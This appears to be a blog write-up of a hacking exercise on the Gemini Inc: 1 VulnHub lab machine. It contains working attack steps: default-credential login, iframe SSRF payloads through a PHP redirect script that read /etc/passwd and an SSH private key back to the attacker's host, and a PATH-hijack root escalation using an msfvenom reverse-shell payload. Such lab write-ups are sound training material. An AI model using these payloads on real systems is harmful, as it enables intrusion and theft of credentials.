This is a write-up on the Gemini Inc: 1, VulnHub machine designed to be vulnerable. This write-up aims to guide readers through the steps to identifying vulnerable services running on the server and ways of exploiting them to gain unauthorised privileged access to the server.
Disclaimer: this write-up is meant for security enthusiast to set up and hacks the machine locally, in a safe environment while still having fun and get to practice. VulnHub provides users with many vulnerable machines for practice, similar to the ones in the OSCP course lab (read about my OSCP journey).
Word of Advice
As always, my advice for you is that you dirty your hands with the setup and try to hack the machines first before reading through my write-up, that way, you will be able to maximise your learning and be able to enhance your thought process towards hacking and compromising a vulnerable machine.
- Download the Virtual Machine (VM) from VulnHub (link)
- Start the VM and select “I copied it” and it should start smoothly. Note that the machine was preconfigured to obtain an IP address automatically using DHCP so that is no additional configuration required.
- Please note that for this write-up, I have explicitly switched my “Network Adaptor” options to “NAT”. You may choose to also do so or remain with the default settings (Bridge), it should not differ much in terms of the steps in the write-up.
netdiscover to identify the hosts in my network:
netdiscover -r 192.168.117.0/24
As shown in the screenshot, it was pretty straight-forward that my target machine is located at the IP address of
nmap to identify the list of services running on the target machine:
nmap -sS -Pn -T4 -p- 192.168.117.159
As shown, only port 22 and 80 were identified to be running.
Now, use the
nmap scripts to perform further information gathering:
nmap -O -A -Pn -T4 -p22,80 192.168.117.159
The following information was obtained:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0) | ssh-hostkey: | 2048 e9:e3:89:b6:3b:ea:e4:13:c8:ac:38:44:d6:ea:c0:e4 (RSA) | 256 8c:19:77:fd:36:72:7e:34:46:c4:29:2d:2a:ac:15:98 (ECDSA) |_ 256 cc:2b:4c:ce:d7:61:73:d7:d8:7e:24:56:74:54:99:88 (EdDSA) 80/tcp open http Apache httpd 2.4.25 | http-ls: Volume / | SIZE TIME FILENAME | - 2018-01-07 08:35 test2/ |_ |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Index of / MAC Address: 00:0C:29:05:4A:83 (VMware)
From the information, it was already possible to determine that very likely, port 80 is the entry point to compromising the machine. But as security folks, we do not assume. Now, let’s move on to see if we can compromise the machine.
Enumeration on port 80
Let’s look at port 80 and check out the page identified by
nmap previously, located at
80/tcp open http Apache httpd 2.4.25 | http-ls: Volume / | SIZE TIME FILENAME | - 2018-01-07 08:35 test2/
If you have read my other write-up (e.g. Write-up for Stapler or Kioptrix), you should know by now that I always read the page source. It is not only useful when playing Capture-the-flag (CTF) kind of games like this, but also in real life. 😉
Anyway, check out the page source and you will see that the application was built on the Master Login System.
After going to the project page and analysing the source code, one interesting discovery over there waiting to be found is that a default administrator account that will be created upon setting up the application. This was mentioned in the
[web_root]/install.php file, as shown below:
The source code was nice enough to even share the default administrator account without you going through too much trouble! So, let’s try out the account credentials:
username: admin password: 1234
And it works!
Seems like we have discovered 2 new functions:
- Edit Profile
- Export Profile
After trying out the functions, it was discovered that the export profile function will print the
profile.php page into a PDF.
Using a HTTP proxy server such as Burp Suite, it was possible to analyse the HTTP response of the PDF document and identify interesting information.
As shown above, among the metadata of the generated PDF document, it can be identified that the PDF document was generated using wkhtmltopdf v0.12.4
Based on their website, wkhtmltopdf and wkhtmltoimage are open source (LGPLv3) command line tools to render HTML into PDF and various image formats using the Qt WebKit rendering engine. These run entirely “headless” and do not require a display or display service.
Publicly Known SSRF Vulnerability
If you searched hard enough, you could have identified an SSRF vulnerability affecting the identified version of wkhtmltopdf v0.12.4 (link):
Based on the available fields in the form that is controllable by the user, it is trivial to derive that the vulnerable parameter should be the display name (display_name) in the
Verify the SSRF vulnerability using the Source Code
The beauty of reviewing a vulnerability on an open source application is that you can immediately dive into the source code and perform a static code review on the
$email = $_POST['email']; $display_name = $_POST['display_name']; . . . if(!isset($page->error) && $db->query("UPDATE `".MLS_PREFIX."users` SET `email` = ?s, `display_name` = ?s ?p WHERE `userid` = ?i", $email, $display_name, $extra, $u->userid))
As shown, it was easy to see that the code does not have any validation on parameter such as the “display_name”, which makes it not only vulnerable to the issue of Server-Side Request Forgery (SSRF) but also other vulnerabilities such as Cross-Site Scripting (XSS) and HTML Injection because any input will be reflected on
Reproduce the SSRF vulnerability on the application
The unchecked input component of the vulnerability mentioned above can be verified by injecting a simple HTML code in the “display_name” parameter and see if it gets reflected:
And yes, it works!
To verify if it is possible to connect to other machines to perform requests, simply set up a simple TCP listener on your local machine and attempt to connect to it:
nc -nlvp 13337 listening on [any] 13337 ...
Now, insert the following payload to the “display_name” parameter to establish a connection back to the above machine which has a TCP listener running on port 13337.
Please be reminded to replace the IP address with your own machine’s IP address.
Now, render the
export.php page and observe the connection request from the target server – a connection from our target server was received!
Look at the user-agent!
Now it is possible to further confirm that the target server is indeed using a vulnerable instance of wkhtmltopdf and it should be vulnerable to the identified SSRF vulnerability.
For folks who are new to the SSRF vulnerability category, it might take a while for you to understand the gist of it. Take your time. Also, I read this very well-written article prior to exploiting this vulnerability, it might be worthwhile to check it out too.
From SSRF to Local File Read
The most crucial information describing the steps to reproduce this SSRF vulnerability was mentioned on the GitHub issue page itself:
… if wkhtmltoimage convert a http status code 302 url,it may redirect …
To exploit this SSRF vulnerability, we need to make the application connect to a page that would perform a redirect with status 302 to read local file.
The specific page is none other than one which we can control it by ourselves, just like how we make the server accessed our web server earlier.
This page that we control – it should perform a 302 redirection to read a local file. It is as simple as that.
The following simple PHP code should be able to cast its magic in this situation:
root@kali:~/Download/ssrf# cat exfiltrate.php <?php header('location:file://'.$_REQUEST['x']); ?>
To make this work, you need to run your own web server. Do take note that you should be running a PHP web server instead of any other languages.
If you are interested in learning more about setting up your own PHP web server, check out the official guide by PHP under example 6 – Accessing the CLI Web Server From Remote Machines.
Please note that some very common payloads were purposely written in a slightly encoded format to include them in my post, for example, the very commonly used [/]etc[/]passwd was being written as %2fetc%2fpasswd – if it doesn’t work, just play around and if you still cannot figure it out, leave a comment and I will look into it!
Now that everything is set up, insert the following payload in the “display_name” parameter and export the PDF file again:
<iframe height="2000" width="800" src=http://192.168.117.157:13337/exfiltrate.php?x=%2fetc%2fpasswd></iframe>;
Magic should now appear on your web server:
root@kali:~/Download/ssrf# php -S 0.0.0.0:13337 PHP 7.0.20-2 Development Server started at Sat Aug 11 13:17:13 2018 Listening on http://0.0.0.0:13337 Document root is /root/Download/ssrf Press Ctrl-C to quit. [Sat Aug 11 13:17:27 2018] 192.168.117.159:42926 : /exfiltrate.php?x=%2fetc%2fpasswd
Did you noticed the “http status code 302 url”? Yes, we have now managed to reproduce the vulnerability.
Notice that the home directory of the user
uid=1000 is located at
/home/gemini1 and using
Let’s check out the content of its
It's empty, seems like there is no access.
Well, that was my initial thoughts, but I was wrong. The content within
bash_history can be empty for many reasons.
For example, when the creator of the CTF box decided that he want to purposely make it empty to mislead you. 🙂
Regardless, it was a good learning point for me. In such situations, to check whether you have the permission to access the content in a particular folder, one way is to check whether you can read the
Modify your display name to the following payload:
<iframe height="2000" width="800" src=http://192.168.117.157:13337/exfiltrate.php?x=/home/gemini1/%2ebashrc></iframe>
Now, render the
export.php again and you will see the new content:
As evidently shown above, we should now attempt to access the SSH keys and see whether this user stores any SSH keys within their home directory. This was also hinted by the box itself, as our
nmap results has confirmed that only port 22 and 80 were open.
From Local File Read to Gaining Low Privilege Access to the System
To recap how you can create a new SSH key pair, check out this URL by Github.
Any newly generated SSH key pairs should be located within the
~/.ssh folder and the private key should be named as
id_rsa by default.
In this case, the private key should be located at
Full payload to insert into the “display_name” to retrieve the private key:
<iframe height="2000" width="800" src=http://192.168.117.157:13337/exfiltrate.php?x=/home/gemini1/%2essh/id_rsa></iframe>
You should know the drill now. Go export the file again to see the retrieved information!
Now copy and paste the private key to a file and use it to access the system.
Don’t forget to change its permission to 400.
chmod 400 sshkey.txt ssh -i sshkey.txt firstname.lastname@example.org
Privilege Escalation using SUID Binaries
Can see that the server is running a very updated 64bit Debian machine, so there should not be any exploits that can directly give us a root. We need to try harder and enumerate!
Checked the services running and found that a DB server is running locally:
Found the password to connect to the database:
After checking through all the tables, there seems to be nothing particularly useful for our quest towards gaining root access.
Yes, I purposely added something related to a rabbit hole to illustrate to you that local services enumeration is not always a bed of roses where you run some tools and it will somehow show you the path to root or NT Authority. You can find juicy things like a password and still not achieving your objectives 🙂
Continue to enumerate!
After some time spent doing the enumeration, I came across this interesting binary file:
It has the sticky bit permission (chmod 4000), which means that it will always be run as the owner of the file, not the user who started it.
More importantly, it is not a default file that is supposed to be found within a Debian operating system.
More details can be read on the Linux Privilege Escalation Guide, probably all OSCP certification holders’ best friend.
To exploit this custom binary file to perform privilege escalation, we need to understand what it does. Try running it and see what it does.
Seems like it will run a few commands when you execute it. Now, to gather more information as to how it executes the command, we can make use of the
gemini1@geminiinc:~$ strings /usr/bin/listinfo <REDACTED> /sbin/ifconfig | grep inet /bin/netstat -tuln | grep 22 /bin/netstat -tuln | grep 80 date displaying network information... displaying Apache listening port... displaying SSH listening port... displaying current date... <REDACTED>
Did you notice something that can be exploited?
date command. Apparently, the SUID binary will execute the
date command as root.
How does the operating system execute the
date command when it is being executed?
gemini1@geminiinc:~$ which date /bin/date
This is what it does — when you run the date command, it will look into your system $PATH and look for the binary application to execute.
To check your existing path, simply run the following command:
gemini1@geminiinc:~$ echo $PATH /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
To add your home directory to the first element within the path, run the following command:
gemini1@geminiinc:~$ export PATH=/home/gemini1:$PATH
And it’s done!
Now simply place a malicious binary in your home directory and then executes the
/usr/bin/listinfo binary again.
A malicious binary file can be easily generated using Metasploit. Do replace the LHOST and LPORT with your own local IP address and listener port.
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.117.157 LPORT=443 -f elf > date
Next, transfer the generated malicious ‘date’ binary file into the target machine and place it within your user home directory.
Finally, set up a handler to catch the reverse shell.
msfconsole use exploit/multi/handler set PAYLOAD linux/x86/meterpreter/reverse_tcp set LHOST 192.168.117.157 set LPORT 443 set ExitOnSession false exploit -j -z
Now, execute the custom binary and magic should happen accordingly:
Congratulations, you should have received a shell with root privilege. Check out the flag!
It was a fun box to hack. Kudos to the author, @sec_9emin1 – for setting up this interesting machine!
Till I blog again!
If you like this post, please check out my other similar write-ups as well: